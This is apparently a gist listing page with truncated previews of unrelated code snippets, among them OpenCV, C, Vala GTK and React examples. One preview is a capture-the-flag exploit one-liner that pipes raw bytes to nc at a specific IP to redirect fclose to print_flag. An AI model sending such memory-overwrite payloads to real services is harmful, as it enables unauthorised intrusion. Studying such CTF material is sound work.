This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python2 | |
| from cv2 import * | |
| cap = VideoCapture(0) | |
| namedWindow('frame', flags=WINDOW_NORMAL) | |
| createTrackbar('threshold', 'frame', 0, 1024, lambda x: x) | |
| while(True): | |
| ret, frame = cap.read() | |
| x = getTrackbarPos('threshold','frame') |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <stdio.h> | |
| #include <stdbool.h> | |
| #include <stdlib.h> | |
| #include <string.h> | |
| #include <math.h> | |
| #include <assert.h> | |
| int main(int argc, char *argv[]){ | |
| if (argc != 3){ | |
| printf("Usage: %s <input> <solution>\n", argv[0]); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| CFLAGS= -std=gnu11 -D_GNU_SOURCE -fopenmp -include header.h | |
| LDFLAGS= -ljansson | |
| all: ping |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <aio.h> | |
| #include <arpa/inet.h> | |
| #include <assert.h> | |
| #include <complex.h> | |
| #include <cpio.h> | |
| #include <ctype.h> | |
| #include <curses.h> | |
| #include <dirent.h> | |
| #include <dlfcn.h> | |
| #include <errno.h> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <stdio.h> | |
| #include <stdlib.h> | |
| #include <assert.h> | |
| #include <dlfcn.h> | |
| #include <readline/readline.h> | |
| #include <boost/preprocessor/repetition/repeat.hpp> // i'm going to hell for this | |
| #define NARGS 20 | |
| int main() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <!DOCTYPE html> | |
| <html lang="en"> | |
| <head> | |
| <meta charset="utf-8"> | |
| <title>React demo</title> | |
| <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css"> | |
| <style> | |
| html, body { margin: 20px; } | |
| </style> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # fclose -> print_flag in plt | |
| $ { printf "toggle \x21\x34\x34\x21\x35\x86\x21\x36\x04\x21\x37\x08\nload\n"; sleep 0.5 } | nc 104.236.80.67 5694 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <iostream> | |
| struct pyprinter { | |
| template <typename T> | |
| pyprinter operator,(T const& t) const { | |
| std::cout << t; | |
| return pyprinter(); | |
| } | |
| }; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| class App : Gtk.Application { | |
| public override void activate () { | |
| var win = new Gtk.ApplicationWindow (this); | |
| var box1 = new Gtk.Box (Gtk.Orientation.HORIZONTAL, 0); | |
| var frame1 = new Gtk.Frame ("left"); | |
| var frame2 = new Gtk.Frame ("right"); | |
| var button = new Gtk.Button.with_label ("move to other side"); | |
| button.clicked.connect (() => { | |
| var frame = button.parent as Gtk.Container; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| class App : Gtk.Application { | |
| public override void activate () { | |
| var win = new Gtk.ApplicationWindow (this); | |
| var box = new Gtk.Box (Gtk.Orientation.VERTICAL, 0); | |
| var entry = new Gtk.Entry (); | |
| var label = new Gtk.Label (""); | |
| entry.bind_property ("text", label, "label", BindingFlags.SYNC_CREATE, (bind, src, ref target) => { | |
| target.set_string ("Hello, " + src.get_string ()); | |
| return true; |